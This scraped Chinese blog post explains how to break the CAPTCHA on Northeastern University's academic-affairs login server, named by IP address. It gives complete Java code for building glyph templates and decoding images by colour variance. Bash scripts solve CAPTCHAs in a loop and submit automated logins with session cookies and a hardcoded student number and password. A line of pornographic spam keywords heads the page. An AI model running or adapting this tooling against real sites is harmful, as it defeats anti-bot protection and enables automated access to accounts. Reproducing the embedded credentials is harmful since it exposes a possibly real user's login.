日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

东大教务处验证码破解

發(fā)布時(shí)間:2025/1/21 编程问答 70 豆豆
生活随笔 收集整理的這篇文章主要介紹了 东大教务处验证码破解 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

東北大學(xué)教務(wù)處編的很爛,一點(diǎn)鼠標(biāo)鍵,它就著急拉慌說:"不當(dāng)?shù)目截悤?huì)損壞您的系統(tǒng)".東大教務(wù)處的驗(yàn)證碼是最簡(jiǎn)單的那一種,形同虛設(shè),很易破解.

一.東大教務(wù)處驗(yàn)證碼特點(diǎn)概述

  先上幾張圖片,.

  字符集 a-zA-Z0-9共26+26+10=62個(gè)字符

  字符位置 四種,如果四個(gè)字符一模一樣,這四個(gè)字符之間的間距是固定的,即第一個(gè)與第二個(gè),第二個(gè)與第三個(gè),第三個(gè)與第四個(gè)之間的距離都是一樣的.

  字符形狀 字符形狀始終是一樣的,不同位置的同一字符可以通過平移來生成.

  上面這些規(guī)律可以通過大量獲取驗(yàn)證碼并加以分析找出.

二.獲取驗(yàn)證碼,這是分析的材料

  既可以用HttpClient也可以用原生的URLConnection,這個(gè)問題比較簡(jiǎn)單,用URLConnection就足以解決了.只需要不停地訪問特定鏈接,每次訪問都會(huì)新生成驗(yàn)證碼,這是因?yàn)闆]有把Session存儲(chǔ)起來,只有Session相同,訪問這個(gè)鏈接才能保持不變.

public static void main(String[] args) throws Exception {for(int x=0;x<10;x++){download(x);}}static void download(int x) throws Exception {URL url = new URL("http://202.118.31.197/index.jsp/ACTIONVALIDATERANDOMPICTURE.APPPROCESS?id=92.16375222337473");URLConnection connection = url.openConnection();BufferedImage bit = ImageIO.read(connection.getInputStream());ImageIO.write(bit, "png", new File("img\\"+x + ".png"));}

千萬(wàn)要注意的是,ImageIO.write()的第二個(gè)參數(shù)不能加點(diǎn),即不能寫成".png",否則文件無法保存.而這個(gè)過程也不拋出異常.

三.驗(yàn)證碼流程概述

服務(wù)器端有一個(gè)Servlet,專門用來處理驗(yàn)證碼問題,每次訪問這個(gè)Servlet,它都會(huì)做兩件事:生成一個(gè)字符串作為驗(yàn)證碼,把這個(gè)字符串存儲(chǔ)到session中,然后根據(jù)驗(yàn)證碼字符串生成一張圖片應(yīng)答客戶端請(qǐng)求.當(dāng)瀏覽器端提交用戶名,密碼,驗(yàn)證碼表單時(shí),服務(wù)器端根據(jù)驗(yàn)證碼是否與Session中的驗(yàn)證碼一致來決定是否進(jìn)行下一步判斷(用戶名密碼是否匹配).

所以,需要把Session存儲(chǔ)起來,以同一Session去訪問一個(gè)同一個(gè)驗(yàn)證碼.即,

第一步訪問主頁(yè)面,獲取html,并把Session保存起來

第二步解析html頁(yè)面,找到驗(yàn)證碼圖片鏈接,用上面保存的那個(gè)Session去訪問這個(gè)鏈接,得到正確的驗(yàn)證碼圖片

第三步根據(jù)圖片求出一個(gè)字符串,也就是驗(yàn)證碼的破解過程.

第四步模擬提交表單,登錄教務(wù)處,表單中包括用戶名,密碼,驗(yàn)證碼

第五步根據(jù)登陸之后的結(jié)果(返回的html頁(yè)面),去訪問頁(yè)面內(nèi)容

用JSOUP來解析html是很好的.

四.給一張圖片如何識(shí)別上面的字符

給一張圖片,我們所知道的就是圖片上的各個(gè)像素值,即ARGB(在這個(gè)問題中A值一直不變,只有RGB發(fā)生變化).根據(jù)相鄰點(diǎn)的顏色差就可以判斷兩個(gè)點(diǎn)是不是屬于同一個(gè)"國(guó)家".

顏色差可以有多種計(jì)算方法:

余弦定理:RGB就相當(dāng)于一個(gè)三維空間,在這個(gè)三維空間中一個(gè)顏色就表示一個(gè)點(diǎn).比如兩個(gè)顏色對(duì)應(yīng)的點(diǎn)為A,B.原點(diǎn)用O來表示,求OA和OB的夾角,夾角小說明兩種顏色相近.

歐幾里得距離:RGB就相當(dāng)于一個(gè)三維空間,每個(gè)顏色對(duì)應(yīng)一個(gè)點(diǎn),兩個(gè)顏色對(duì)應(yīng)點(diǎn)為A,B.求線段AB的長(zhǎng)度,此長(zhǎng)度即為兩個(gè)顏色的差異,AB長(zhǎng)度越短說明兩個(gè)顏色越相近.

漢密爾頓距離:RGB就相當(dāng)于一個(gè)三維空間,每個(gè)顏色對(duì)應(yīng)一個(gè)點(diǎn),兩個(gè)顏色對(duì)應(yīng)點(diǎn)為A,B,線段AB的距離定義為|x2-x1|+|y2-y1|+|z2-z1|

從左到右,從上到下掃描圖片的各個(gè)像素點(diǎn),給每個(gè)點(diǎn)標(biāo)一個(gè)國(guó)家id.從一個(gè)"有國(guó)點(diǎn)"可以向"無國(guó)點(diǎn)"沿上下左右四個(gè)方向進(jìn)行擴(kuò)散,如果顏色差不超過某個(gè)閾值,那么有國(guó)點(diǎn)就可以進(jìn)行領(lǐng)土擴(kuò)張,把無國(guó)點(diǎn)占領(lǐng),把無國(guó)點(diǎn)的國(guó)家id標(biāo)為自己的國(guó)家id.這樣一來,整個(gè)圖片就被分成了許多個(gè)國(guó)家.每個(gè)國(guó)家代表一個(gè)字符.

然而,圖片上是有噪音的,閾值不同會(huì)影響國(guó)家的劃分,閾值的兩個(gè)極端是:國(guó)家太多(一個(gè)字符被分裂成了多個(gè)國(guó)家),國(guó)家太少(整張圖片就是一個(gè)國(guó)家,像純色圖片一樣).

我想要獲得的是:每個(gè)字符在4種位置上所對(duì)應(yīng)的"點(diǎn)集合",通過鼠標(biāo)右鍵點(diǎn)擊,來作為這個(gè)國(guó)家的開始點(diǎn)進(jìn)行擴(kuò)展,幾乎形成了一個(gè)字符(像掃雷一樣,我點(diǎn)擊一個(gè)點(diǎn),擴(kuò)展出來一大片點(diǎn)).這樣就形成了一個(gè)字符的主體.這個(gè)主體可能是不完整的,需要通過鼠標(biāo)左鍵來點(diǎn)擊個(gè)別點(diǎn)來完善這個(gè)字符的"點(diǎn)集合".鼠標(biāo)雙擊清空點(diǎn)集合,鼠標(biāo)滾輪滾動(dòng)調(diào)整顏色閾值.通過這種可視化的操作就可以生成62個(gè)字符在4個(gè)位置對(duì)應(yīng)的點(diǎn)集合.

經(jīng)過觀察,同一字符在4個(gè)位置上形狀是一模一樣的,只是位置不一樣,驗(yàn)證碼"AAAA",每個(gè)A之間的距離是一樣的,為disA,"BBBB"每個(gè)B之間的距離是一樣的,為disB.發(fā)現(xiàn)disA=disB.

這樣一來,問題轉(zhuǎn)化為建立一個(gè)"數(shù)據(jù)庫(kù)",為62個(gè)字符各自定義一套描述形狀的"點(diǎn)集合".并把每個(gè)字符在4個(gè)位置的最左,最上的點(diǎn)的坐標(biāo)記錄下來.有了形狀,有了位置,就可以制作驗(yàn)證碼了!這樣就可以檢驗(yàn)一下自己的數(shù)據(jù)庫(kù)是否正確.

數(shù)據(jù)庫(kù)格式如下:

字符 在第一個(gè)位置的最左最上點(diǎn)的坐標(biāo) 字符相對(duì)于它最左最上點(diǎn)的相對(duì)坐標(biāo)(以最左最上點(diǎn)為原點(diǎn))

知道了第一個(gè)位置上的最左最上點(diǎn),就可以推出在第二,第三個(gè)位置上的最左最上點(diǎn)坐標(biāo).

五.應(yīng)用數(shù)據(jù)庫(kù)

有了數(shù)據(jù)庫(kù),就有了一套"模板".對(duì)于一個(gè)包含四個(gè)字符的驗(yàn)證碼圖片,我把這四個(gè)字符逐一破解,而不是一下子全部破解.

對(duì)于位置一上的字符,有62中可能,我就把這62個(gè)字符挨個(gè)畫在圖片上,必然得到一個(gè)"點(diǎn)集合",也就是一個(gè)"顏色值集合",也就是一個(gè)"三維向量集合".求出"三維向量集合"的標(biāo)準(zhǔn)差來,如果標(biāo)準(zhǔn)差小,說明這個(gè)字符匹配得好;標(biāo)準(zhǔn)差大,說明這個(gè)字符匹配得差.

不一定是標(biāo)準(zhǔn)差,也可以是其他的數(shù)值來描述這個(gè)"三維向量集合"的特征.最終要的結(jié)果是:能夠根據(jù)"三維向量集"映射到62個(gè)字符中的一個(gè).

六.結(jié)果

對(duì)于有些字符,比如0(零)和O(歐),它們的字形是完全一樣的,遇到包含這兩者的驗(yàn)證碼時(shí)是誰(shuí)都可以,但是服務(wù)器可不這么認(rèn)為.

對(duì)于i和I,對(duì)于i和L,它們具有包含關(guān)系,也就是說明明是L,會(huì)識(shí)別成i.因?yàn)長(zhǎng)所在"點(diǎn)集合"包括i所在"點(diǎn)集合",后者標(biāo)準(zhǔn)差更小,這樣就造成了誤判.

解決方法一是調(diào)整"三維向量集"到"數(shù)值"的映射,不要使用標(biāo)準(zhǔn)差,而是使用其它函數(shù);

解決方法二:對(duì)得到的62個(gè)標(biāo)準(zhǔn)差就行排名,不取標(biāo)準(zhǔn)差最小值作為結(jié)果,而是一旦形成這個(gè)排名,那就選擇第幾名.比如L字符通常排在第二名,i排在第一名.通過檢測(cè)前五名,如果前五名滿足某個(gè)序列,那就放棄"最小值原則",而采取"特殊處理".

解決方法三:如果標(biāo)準(zhǔn)差相差不大,誰(shuí)的面積大就選誰(shuí).對(duì)于前幾名,如果第n+1名的標(biāo)準(zhǔn)差<第n名的標(biāo)準(zhǔn)差的1.3倍,這就說明二者標(biāo)準(zhǔn)差相差不大,此時(shí)如果第n+1名面積大(點(diǎn)多),那么就選擇第n+1名.然后再把n+1名跟n+2名做如此比較.直到找到最好的為止.

Main.java:用來生成"字形字位數(shù)據(jù)庫(kù)"

/* 驗(yàn)證碼圖片是60*20的矩形點(diǎn)陣,每個(gè)點(diǎn)用RGB三原色表示(ARGB中的A始終為0xff)* 驗(yàn)證碼有62種字符0-9,a-z,A-Z* 每一個(gè)字符都有一個(gè)形狀:這是一個(gè)點(diǎn)集合* 每個(gè)字符都有固定的位置(有四種位置,每?jī)蓚€(gè)相鄰位置之間的距離為13格)* 這個(gè)文件用來產(chǎn)生數(shù)據(jù),格式為62行,每行開頭一個(gè)字符,接著第一種位置x和y,* 剩下的內(nèi)容都是點(diǎn)集合* * 這個(gè)程序的目的是可視化的產(chǎn)生上述數(shù)據(jù),通過鼠標(biāo)點(diǎn)擊,來選定點(diǎn)集* 鼠標(biāo)左鍵:選定單個(gè)點(diǎn)* 鼠標(biāo)右鍵:選定一個(gè)點(diǎn)及其附近與之相似的點(diǎn)* CTRL+鼠標(biāo)左鍵:清除單個(gè)點(diǎn)* 空格:清空全部點(diǎn)* ctrl+s保存當(dāng)前結(jié)果到文件* * 選定一個(gè)點(diǎn)及其附近與之相似的點(diǎn):利用顏色相似度來決定是否兩個(gè)相鄰點(diǎn)為同一個(gè)國(guó)家的公民* 如果兩個(gè)相鄰點(diǎn)顏色相近,那就把他倆看成連通的* 求出整個(gè)大圖的全部連通分量* * 一開始我還準(zhǔn)備進(jìn)行噪音處理,然而效果并不理想* */ class Point {int x, y;Point(int x, int y) {this.x = x;this.y = y;}@Overridepublic int hashCode() {return x ^ y;}@Overridepublic boolean equals(Object obj) {Point p = (Point) obj;return p.x == x && p.y == y;}boolean less(Point p) {if (x == p.x)return y < p.y;elsereturn x < p.x;} }class Country {ArrayList<Point> a = new ArrayList<Point>();Country() {}Country(ArrayList<Point> a) {this.a = new ArrayList<Point>();for (Point p : a) {this.a.add(new Point(p.x, p.y));}} }class Go {int[][] a;int[][] ans;int[][] id;ArrayList<Country> countries = new ArrayList<Country>();int w, h;int[] color;static int COLOR_DIS = 55;static int NOISE_LOWER_BOUND = 5, NOISE_UPPER_BOUND = 4;public Go(int[][] a) {this.a = a;w = a.length;h = a[0].length;id = new int[w][h];expand();// delNoise(); initColor(countries.size());getAns();}void cout(String s) {System.out.println(s);}void getAns() {ans = new int[w][h];for (int i = 0; i < countries.size(); i++) {Country c = countries.get(i);for (int j = 0; j < c.a.size(); j++) {ans[c.a.get(j).x][c.a.get(j).y] = color[i];}}}void delNoise() {Country zero = countries.get(0);for (int i = countries.size() - 1; i >= 0; i--) {Country c = countries.get(i);if (c.a.size() < NOISE_LOWER_BOUND || radius(c) > NOISE_UPPER_BOUND) {zero.a.addAll(c.a);countries.remove(i);}}}boolean hasRadius(Country c, int r) {for (int i = 0; i < c.a.size(); i++) {int m = c.a.get(i).x, n = c.a.get(i).y;boolean ok = true;out: for (int j = -r; j <= r; j++) {for (int k = -(r - Math.abs(j)); k <= r - Math.abs(j); k++) {int x = m + j, y = n + k;if (legal(x, y) && id[x][y] != id[m][n]) {ok = false;break out;}}}if (ok)return true;}return false;}int radius(Country c) {int r = (int) Math.sqrt(c.a.size()), l = 0;while (l < r) {int m = (l + r) >> 1;if (hasRadius(c, m))l = m + 1;elser = m;}return r;}void expand() {countries.add(new Country());for (int i = 0; i < w; i++) {for (int j = 0; j < h; j++) {if (id[i][j] == 0) {countries.add(new Country());go(countries.get(countries.size() - 1), i, j, countries.size() - 1);}}}}void go(Country country, int fx, int fy, int cnt) {int dir[] = { 0, 1, 0, -1, 1, 0, -1, 0, 1, 1, 1, -1, -1, -1, -1, 1 };id[fx][fy] = cnt;country.a.add(new Point(fx, fy));for (int i = 0; i < dir.length; i += 2) {int x = fx + dir[i], y = fy + dir[i + 1];if (legal(x, y) && id[x][y] == 0 && dis(a[fx][fy], a[x][y]) < COLOR_DIS) {go(country, x, y, cnt);}}}void initColor(int cnt) {color = new int[cnt];double per = 255.0 / Math.pow(cnt, 1.0 / 3);int ci = 0;for (int i = 0; i < 255; i += per) {for (int j = 0; j < 255; j += per) {for (int k = 0; k < 255; k += per) {color[ci++] = i | j << 8 | k << 16;if (ci == cnt)return;}}}}boolean legal(int x, int y) {return x >= 0 && y >= 0 && x < w && y < h;}int dis(int x, int y) {int ans = 0;for (int i = 0; i < 3; i++) {int d = Math.abs((x & 255) - (y & 255));ans += d * d;x >>= 8;y >>= 8;}ans = (int) Math.sqrt(ans);return ans;} }class Data {Country[] xing = new Country[128];Point[][] wei = new Point[128][4];void save() {PrintWriter cout = null;try {cout = new PrintWriter(new File("haha.txt"));} catch (FileNotFoundException e) {e.printStackTrace();}for (char c = '0'; c <= '9'; c++) {print(cout, c);}for (char c = 'a'; c <= 'z'; c++) {print(cout, c);}for (char c = 'A'; c <= 'Z'; c++) {print(cout, c);}cout.close();}void print(PrintWriter cout, char c) {cout.println();cout.print(c);for (int i = 0; i < 4; i++)if (wei[c][i] == null)continue;elsecout.print(" " + wei[c][i].x + " " + wei[c][i].y);if (xing[c] == null)return;for (Point p : xing[c].a)cout.print(" " + p.x + " " + p.y);}String gets(char c) {String s = "" + c;for (int i = 0; i < 4; i++) {if (wei[c][i] == null) {s += " (_,_)";} else {s += " (" + wei[c][i].x + "," + wei[c][i].y + ")";}}if (xing[c] != null) {s += "====== ";for (Point p : xing[c].a) {s += "(" + p.x + "," + p.y + ")";}}return s + "\n";}public String toString() {String s = "";for (char c = '0'; c <= '9'; c++) {s += gets(c);}for (char c = 'a'; c <= 'z'; c++) {s += gets(c);}for (char c = 'A'; c <= 'Z'; c++) {s += gets(c);}return s;}void sort(ArrayList<Point> a) {for (int i = 0; i < a.size(); i++) {for (int j = 0; j < a.size(); j++) {if (a.get(i).less(a.get(j))) {Point temp = a.get(i);a.set(i, a.get(j));a.set(j, temp);}}}}void uniq(ArrayList<Point> a) {for (int i = a.size() - 1; i > 0; i--)if (a.get(i).equals(a.get(i - 1))) {a.remove(i);}}void update(ArrayList<Point> a) {int x = a.get(0).x, y = a.get(0).y;for (Point p : a) {p.x -= x;p.y -= y;}}void set(String s, Country country) {if (country == null || country.a == null)return;Scanner cin = new Scanner(s);String c = cin.next();if (country.a.size() == 0) {System.out.println("Country.a.size() cannot be zero !!!");}if (country.a.size() == 1) {int pos = cin.nextInt() - 1;wei[c.charAt(0)][pos] = country.a.get(0);} else {sort(country.a);uniq(country.a);update(country.a);xing[c.charAt(0)] = country;}cin.close();} }public class Main extends JFrame {public static void main(String[] args) {try {UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName());} catch (ClassNotFoundException | InstantiationException | IllegalAccessException| UnsupportedLookAndFeelException e) {e.printStackTrace();}new Main();}File[] files = new File("img").listFiles();int fileIndex = 0;JPanel protoPanel = new JPanel(), nowPanel = new JPanel();JTextField txt = new JTextField();JTextArea area = new JTextArea(6, 0);Container content;int proto[][], now[][];BufferedImage protoImage, nowImage;ArrayList<Point> selectedPoints;Data data = new Data();Go go;void initControl() {Font f = new Font("Ubuntu Mono", Font.BOLD, 30);txt.setFont(f);area.setFont(f);area.setEditable(false);txt.addKeyListener(new KeyAdapter() {@Overridepublic void keyPressed(KeyEvent e) {if (e.getKeyCode() == KeyEvent.VK_ENTER) {data.set(txt.getText(), new Country(selectedPoints));area.setText(data.toString());txt.setText("");selectedPoints = null;protoPanelPaint();}}});}Main() {loadProto();loadNow();setTitle("agnomen decoder");content = getContentPane();content.setLayout(new BorderLayout());JPanel pane = new JPanel(new GridLayout());pane.add(protoPanel);pane.add(nowPanel);content.add(pane, BorderLayout.CENTER);JPanel editPane = new JPanel(new BorderLayout());initControl();editPane.add(txt, BorderLayout.NORTH);editPane.add(new JScrollPane(area), BorderLayout.CENTER);content.add(editPane, BorderLayout.NORTH);setExtendedState(MAXIMIZED_BOTH);setDefaultCloseOperation(EXIT_ON_CLOSE);setVisible(true);protoPanel.addMouseListener(new MouseAdapter() {@Overridepublic void mouseEntered(MouseEvent e) {protoPanel.grabFocus();}@Overridepublic void mouseClicked(MouseEvent e) {double w = (double) protoPanel.getWidth() / proto.length,h = (double) protoPanel.getHeight() / proto[0].length;int x = (int) (e.getX() / w), y = (int) (e.getY() / h);int color = proto[x][y];int b = color & 255, g = (color >> 8) & 255, r = (color >> 16) & 255;setTitle(x + " " + y + " " + r + " " + g + " " + b);if (e.getButton() == MouseEvent.BUTTON3) {selectedPoints = go.countries.get(go.id[x][y]).a;protoPanelPaint();} else if (e.getButton() == MouseEvent.BUTTON1) {if (e.isControlDown()) {if (selectedPoints == null)return;for (Point p : selectedPoints) {if (p.x == x && p.y == y) {selectedPoints.remove(p);protoPanelPaint();return;}}} else {if (selectedPoints == null)selectedPoints = new ArrayList<Point>();selectedPoints.add(new Point(x, y));protoPanelPaint();}}}});nowPanel.addMouseWheelListener(new MouseWheelListener() {@Overridepublic void mouseWheelMoved(MouseWheelEvent e) {int x = e.getWheelRotation();Go.COLOR_DIS += x;setTitle(Go.COLOR_DIS + "");loadNow();nowPanelPaint();}});protoPanel.addKeyListener(new KeyAdapter() {@Overridepublic void keyPressed(KeyEvent e) {if (e.getKeyCode() == KeyEvent.VK_DOWN) {fileIndex = (fileIndex + 1) % files.length;selectedPoints = null;loadProto();loadNow();repaint();} else if (e.getKeyCode() == KeyEvent.VK_UP) {fileIndex = (fileIndex - 1 + files.length) % files.length;selectedPoints = null;loadProto();loadNow();repaint();} else if (e.getKeyCode() == KeyEvent.VK_S && e.isControlDown()) {data.save();/** JFrame dlg = new JFrame();* //dlg.getContentPane().setLayout(null); JTextArea area =* new JTextArea(); Font f = new Font("Ubuntu Mono",* Font.BOLD, 30); area.setFont(f); Scanner cin = null; try* { cin = new Scanner(new File("data.txt")); } catch* (FileNotFoundException e1) { e1.printStackTrace(); }* String s = ""; while (cin.hasNext()) { s +=* cin.nextLine()+"\n"; } area.setText(s);* dlg.getContentPane().add(area);* dlg.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE);* dlg.setSize(800, 800); dlg.setVisible(true);*/} else if (e.getKeyCode() == KeyEvent.VK_SPACE) {selectedPoints = null;protoPanelPaint();}}});}@Overridepublic void paint(Graphics g) {protoPanelPaint();nowPanelPaint();}void loadNow() {go = new Go(proto);now = go.ans;nowImage = toImg(now);}void loadProto() {try {protoImage = ImageIO.read(files[fileIndex]);proto = toArray(protoImage);} catch (IOException e) {e.printStackTrace();}}int[][] copy(int[][] src) {int[][] a = new int[src.length][src[0].length];for (int i = 0; i < src.length; i++) {for (int j = 0; j < src[i].length; j++) {a[i][j] = src[i][j];}}return a;}void nowPanelPaint() {nowPanel.getGraphics().drawImage(nowImage, 0, 0, nowPanel.getWidth(), nowPanel.getHeight(), null);}void protoPanelPaint() {int[][] midArray = copy(proto);addColor(midArray);BufferedImage midImg = toImg(midArray);protoPanel.getGraphics().drawImage(midImg, 0, 0, protoPanel.getWidth(), protoPanel.getHeight(), null);}void addColor(int[][] a) {if (selectedPoints == null)return;for (Point p : selectedPoints) {a[p.x][p.y] = 0xff0000;}}BufferedImage toImg(int[][] a) {BufferedImage pic = new BufferedImage(a.length, a[0].length, BufferedImage.TYPE_INT_RGB);for (int i = 0; i < pic.getWidth(); i++) {for (int j = 0; j < pic.getHeight(); j++) {pic.setRGB(i, j, a[i][j]);}}return pic;}int[][] toArray(BufferedImage img) {int a[][] = new int[img.getWidth()][img.getHeight()];for (int i = 0; i < img.getWidth(); i++) {for (int j = 0; j < img.getHeight(); j++) {a[i][j] = img.getRGB(i, j);}}return a;}void cout(String s) {System.out.print(s);} }

TestAns.java:用來檢驗(yàn)數(shù)據(jù)庫(kù)是否正確

/* Main.java用來生成數(shù)據(jù)* 本程序用來驗(yàn)證生成的數(shù)據(jù)是否正確* 其實(shí)就是從data.txt中把數(shù)據(jù)讀出來,然后畫一下* 用眼睛一看便知是否正確* * l和o在驗(yàn)證碼中沒出現(xiàn)過* 在txtField中輸入字符,按enter就可以在同一張圖片上查看不同對(duì)比* */ class Node {int x, y;ArrayList<Point> a = new ArrayList<Point>(); }public class TestAns extends JFrame {public static void main(String[] args) {new TestAns();}Node[] a = new Node[128];char[] charSet;int index = 0;int[][] nowArray = new int[60][20];JTextField txt = new JTextField();JPanel panel = new JPanel();void readFile() {Scanner cin = null;try {cin = new Scanner(new File("data.txt"));} catch (FileNotFoundException e) {e.printStackTrace();}while (cin.hasNextLine()) {String s = cin.nextLine();Scanner sin = new Scanner(s);char c = sin.next().charAt(0);a[c] = new Node();a[c].x = sin.nextInt();a[c].y = sin.nextInt();while (sin.hasNext()) {a[c].a.add(new Point(sin.nextInt(), sin.nextInt()));}sin.close();}cin.close();}void initCharSet() {String s = "";for (char c = '0'; c <= '9'; c++)s += c;for (char c = 'a'; c <= 'z'; c++)s += c;for (char c = 'A'; c <= 'Z'; c++)s += c;charSet = s.toCharArray();}public TestAns() {readFile();initCharSet();initNowArray("0000"); Container content = getContentPane();content.setLayout(new BorderLayout());content.add(txt, BorderLayout.NORTH);txt.addKeyListener(new KeyAdapter() {@Overridepublic void keyPressed(KeyEvent e) {if (e.getKeyCode() == KeyEvent.VK_ENTER) {initNowArray(txt.getText());repaint();}else if (e.getKeyCode() == KeyEvent.VK_UP) {index--;char c = charSet[index];initNowArray(c + "" + c + "" + c + "" + c);repaint();} else if (e.getKeyCode() == KeyEvent.VK_DOWN) {index++;char c = charSet[index];initNowArray(c + "" + c + "" + c + "" + c);repaint();}}});content.add(panel, BorderLayout.CENTER);setExtendedState(MAXIMIZED_BOTH);setDefaultCloseOperation(DISPOSE_ON_CLOSE);setVisible(true);}@Overridepublic void paint(Graphics ggg) {Graphics g = panel.getGraphics();g.drawImage(toImg(nowArray), 0, 0, panel.getWidth(), panel.getHeight(), null);}void initNowArray(String s) {setTitle(s);for (int i = 0; i < nowArray.length; i++) {for (int j = 0; j < nowArray[0].length; j++) {nowArray[i][j] = 0;}}for (int i = 0; i < 4 && i < s.length(); i++) {char c = s.charAt(i);for (Point p : a[c].a) {nowArray[p.x + a[c].x + i * 13][a[c].y + p.y] = 0xffffff;}}}BufferedImage toImg(int[][] a) {BufferedImage pic = new BufferedImage(a.length, a[0].length, BufferedImage.TYPE_INT_RGB);for (int i = 0; i < pic.getWidth(); i++) {for (int j = 0; j < pic.getHeight(); j++) {pic.setRGB(i, j, a[i][j]);}}return pic;} }

Decoder.java:應(yīng)用數(shù)據(jù)庫(kù),破解驗(yàn)證碼

/* 經(jīng)過Main.java生成數(shù)據(jù),TestAns驗(yàn)證數(shù)據(jù),本程序應(yīng)用數(shù)據(jù)去破解圖片* 從文件夾中讀取全部的圖片,在窗口的標(biāo)題處顯示破解結(jié)果* 在窗口主體處顯示原始圖片* * 如何應(yīng)用那些數(shù)據(jù)呢?* for循環(huán)62個(gè)字符*4個(gè)位置,如果匹配成功了,那就該字符所覆蓋的點(diǎn)集顏色方差非常小* 所以,只要找出方差最小的字符來就可以了* i和P,K,j等字符容易混淆,n和h容易混淆,因?yàn)楹笳甙罢?我的解決方法是一個(gè)判斷,如果方差相差不多,那就取面積大者* O和0分不清,因?yàn)檫@兩個(gè)字符一模一樣* */ class Color {double r, g, b;Color add(Color c) {return new Color(r + c.r, g + c.g, b + c.b);}Color(double d, double e, double f) {this.r = d;this.g = e;this.b = f;}Color(int x) {r = x & 255;g = (x >> 8) & 255;b = (x >> 16) & 255;}public Color mul() {return new Color(r * r, g * g, b * b);}public Color sub(Color m) {return new Color(r - m.r, g - m.g, b - m.b);}public Color div(int size) {return new Color(r / size, g / size, b / size);}public double len() {return Math.sqrt(r * r + g * g + b * b);} }public class Decoder extends JFrame {public static void main(String[] args) {if (args.length == 0)new Decoder();else if (args.length == 1)new Decoder(args[0]);else {System.out.println("too much arguments");System.exit(-1);}}File[] files = new File("img").listFiles();int fileIndex = 0;Container content;Node[] a = new Node[128];char[] charSet;int[][] proto;void readFile() {Scanner cin = null;try {cin = new Scanner(new File("data.txt"));} catch (FileNotFoundException e) {e.printStackTrace();}while (cin.hasNextLine()) {String s = cin.nextLine();Scanner sin = new Scanner(s);char c = sin.next().charAt(0);a[c] = new Node();a[c].x = sin.nextInt();a[c].y = sin.nextInt();while (sin.hasNext()) {a[c].a.add(new Point(sin.nextInt(), sin.nextInt()));}sin.close();}cin.close();}void initCharSet() {String s = "";for (char c = '0'; c <= '9'; c++)s += c;for (char c = 'a'; c <= 'z'; c++)s += c;for (char c = 'A'; c <= 'Z'; c++)s += c;charSet = s.toCharArray();}Decoder(String path) {readFile();initCharSet();BufferedImage img = null;try {img = ImageIO.read(files[fileIndex]);} catch (IOException e) {e.printStackTrace();}proto = toArray(img);System.out.println(go());}Decoder() {readFile();initCharSet();content = getContentPane();setDefaultCloseOperation(EXIT_ON_CLOSE);setExtendedState(MAXIMIZED_BOTH);setVisible(true);addKeyListener(new KeyAdapter() {@Overridepublic void keyPressed(KeyEvent e) {if (e.getKeyCode() == KeyEvent.VK_DOWN) {fileIndex = (fileIndex + 1) % files.length;repaint();} else if (e.getKeyCode() == KeyEvent.VK_UP) {fileIndex = (fileIndex - 1 + files.length) % files.length;repaint();}}});}@Overridepublic void paint(Graphics g) {try {BufferedImage img = ImageIO.read(files[fileIndex]);proto = toArray(img);g.drawImage(img, 0, 0, content.getWidth(), content.getHeight(), null);setTitle(go());} catch (IOException e) {e.printStackTrace();}}String go() {double sizeRatio = 3.47;String ans = "";for (int i = 0; i < 4; i++) {char minC = 'l';double minDx = Double.MAX_VALUE;for (char c : charSet) {ArrayList<Point> s = a[c].a;Color m = new Color(0), n = new Color(0);for (Point p : s) {int x = p.x + a[c].x + i * 13, y = p.y + a[c].y;m = m.add(new Color(proto[x][y]));n = n.add(new Color(proto[x][y]).mul());}n = n.div(s.size());m = m.div(s.size());double nowDx = n.sub(m.mul()).len();System.out.println(c + " " + nowDx);/** This condition is very important ! Different condition can* generate different result !*/if (nowDx < minDx && !(minDx < nowDx * sizeRatio && s.size() < a[minC].a.size())|| nowDx < minDx * sizeRatio && s.size() > a[minC].a.size()) {// if (nowDx < 1500 && s.size() > a[minC].a.size()) {minDx = nowDx;minC = c;}}ans += minC;}return ans;}int[][] toArray(BufferedImage img) {int a[][] = new int[img.getWidth()][img.getHeight()];for (int i = 0; i < img.getWidth(); i++) {for (int j = 0; j < img.getHeight(); j++) {a[i][j] = img.getRGB(i, j);}}return a;} }

為了像使用腳本一樣使用java,我把.class文件生成到臨時(shí)文件夾中,編譯完之后立馬執(zhí)行.

#!/bin/bash test -e $1 || { echo 'file does not exist !';exit 2; } src=$1 shift name="${src%.*}" type="${src##*.}" dir=`pwd` dir="/tmp/${dir_}" case $type injava)path="$dir/$name.class"compile="javac -d $dir $src"run="java -cp $dir $name $@";;cpp)path="$dir/$name.out"compile="g++ $1 -o $dir/$name.out"run="$dir/$name.out $@";;*)echo "unknown file type "exit 1 esac if test ! -d "$dir" ;then #echo 'mkdir...compiling...'mkdir "$dir" && $compile && $run elif test ! -f $path -o $path -ot $src ;then #echo 'compiling...' $compile && $run else $run fi

寫一個(gè)腳本試試驗(yàn)證碼破解的正確率,eog調(diào)用圖片查看命令

#!/bin/bash home="202.118.31.197" url="http://$home/ACTIONVALIDATERANDOMPICTURE.APPPROCESS?id=0" while true;dowget -o /dev/null -O 'agnomen' $url./ja Decoder.java 'agnomen'eog 'agnomen' done

使用curl命令進(jìn)行請(qǐng)求服務(wù)器并調(diào)用java代碼破解驗(yàn)證碼,然后模擬登陸.

function cout(){echo -e "\033[31m$@\033[0m" } function translate(){ iconv -f "$1" -t utf-8 "$2" -o "$2" } usr='20124003' usr="$1" passwd='weidiao' passwd="$2" home="202.118.31.197" url="http://$home" find "$home" -type f -exec rm {} \;wget -o /dev/null --keep-session-cookies --save-cookies='cookie' -p $url pic=` iconv -f gb2312 -t utf-8 $home/index.html | grep -o 'ACTIONVALIDATERANDOMPICTURE.APPPROCESS?id=[0-9,.]*'` x=`./ja Decoder.java "$home/$pic"` data="WebUserNO=$usr&Password=$passwd&Agnomen=$x" wget -o /dev/null -O "aao.html" --keep-session-cookies --load-cookies='cookie' --post-data=$data "$url/ACTIONLOGON.APPPROCESS?mode=" translate "gb2312" "aao.html" grep "frameset" "aao.html" || { cout "login failed"; exit 1; } cout "login successful !" #exit 0echo ======================= wget -o /dev/null --keep-session-cookies --load-cookies='cookie' -p 